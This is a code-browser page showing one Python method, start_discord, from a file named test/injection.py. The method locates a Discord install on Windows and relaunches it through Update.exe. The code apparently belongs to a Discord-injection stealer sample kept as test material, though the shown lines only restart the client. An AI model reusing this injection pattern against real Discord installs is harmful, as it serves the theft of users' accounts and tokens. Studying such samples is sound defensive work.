MCPcopy Create free account
hub / github.com/cyberark/ByteCodeLLM / start_discord

Method start_discord

test/injection.py:49–61  ·  view source on GitHub ↗
(self, dir: str)

Source from the content-addressed store, hash-verified

47 return core, file
48
49 def start_discord(self, dir: str) -> None:
50 update = dir + '\\Update.exe'
51 executable = dir.split('\\')[-1] + '.exe'
52
53 for file in os.listdir(dir):
54 if re.search(r'app-+?', file):
55 app = dir + '\\' + file
56 if os.path.exists(app + '\\' + 'modules'):
57 for file in os.listdir(app):
58 if file == executable:
59 executable = app + '\\' + executable
60 subprocess.call([update, '--processStart', executable],
61 shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

Callers 1

__init__Method · 0.95

Calls

no outgoing calls

Tested by

no test coverage detected